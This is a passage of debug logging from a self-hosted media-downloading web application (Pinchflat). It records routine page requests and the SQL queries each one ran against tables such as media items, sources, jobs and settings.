SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:59.056 [info] Sent 200 in 17ms 05:34:59.279 [info] GET /sources/30/media/141039 05:34:59.279 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 05:34:59.280 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=234.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 05:34:59.282 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=235.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 05:34:59.283 [debug] QUERY OK source="sources" db=1.0ms idle=234.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 05:34:59.284 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=235.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 05:34:59.285 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=233.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.285 [debug] QUERY OK source="settings" db=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.286 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.287 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:59.288 [info] Sent 200 in 9ms 05:34:59.681 [info] GET /sources/31/media/91114 05:34:59.681 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 05:34:59.683 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=396.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 05:34:59.685 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=398.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 05:34:59.685 [debug] QUERY OK source="sources" db=1.5ms idle=398.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:59.686 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=399.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 05:34:59.687 [debug] QUERY OK source="settings" db=0.0ms idle=255.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.687 [debug] QUERY OK source="settings" db=0.0ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.687 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.688 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:59.692 [info] Sent 200 in 10ms 05:35:00.444 [info] GET /sources/31/media/90907 05:35:00.445 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 05:35:00.446 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=758.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 05:35:00.448 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=759.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 05:35:00.449 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=759.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:35:00.449 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=760.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 05:35:00.450 [debug] QUERY OK source="settings" db=0.1ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:00.450 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:00.451 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:00.451 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:00.455 [info] Sent 200 in 10ms 05:35:00.963 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:00.981 [info] GET /sources/31/media/90894 05:35:00.981 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 05:35:00.983 [debug] QUERY OK source="media_items" db=0.6ms idle=531.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 05:35:00.985 [debug] QUERY OK source="tasks" db=0.9ms idle=532.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 05:35:00.985 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=532.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:35:00.986 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=534.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 05:35:00.987 [debug] QUERY OK source="settings" db=0.1ms idle=24.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:00.987 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:00.988 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:00.988 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:00.991 [info] Sent 200 in 10ms 05:35:01.402 [info] GET /sources/31/media/90892 05:35:01.403 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 05:35:01.404 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=417.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 05:35:01.406 [debug] QUERY OK source="tasks" db=1.0ms idle=417.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 05:35:01.406 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=417.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:35:01.407 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=419.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 05:35:01.408 [debug] QUERY OK source="settings" db=0.0ms idle=419.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:01.408 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:01.408 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:01.409 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:01.412 [info] Sent 200 in 9ms 05:35:01.651 [info] GET /sources/31/media/90767 05:35:01.652 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 05:35:01.653 [debug] QUERY OK source="media_items" db=0.7ms idle=244.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 05:35:01.655 [debug] QUERY OK source="tasks" db=0.9ms idle=246.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 05:35:01.656 [debug] QUERY OK source="sources" db=1.9ms idle=245.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:35:01.657 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=247.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 05:35:01.658 [debug] QUERY OK source="settings" db=0.1ms idle=221.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:01.658 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:01.659 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:01.659 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:01.663 [info] Sent 200 in 11ms 05:35:02.011 [info] GET /media_profiles/1/edit 05:35:02.012 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 05:35:02.013 [debug] QUERY OK source="media_profiles" db=0.5ms idle=355.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:35:02.014 [debug] QUERY OK source="settings" db=0.4ms idle=355.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.015 [debug] QUERY OK source="settings" db=0.3ms idle=356.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.016 [debug] QUERY OK source="settings" db=0.0ms idle=356.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.017 [info] Sent 200 in 5ms 05:35:02.222 [info] GET /media_profiles/new 05:35:02.222 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 05:35:02.223 [debug] QUERY OK source="settings" 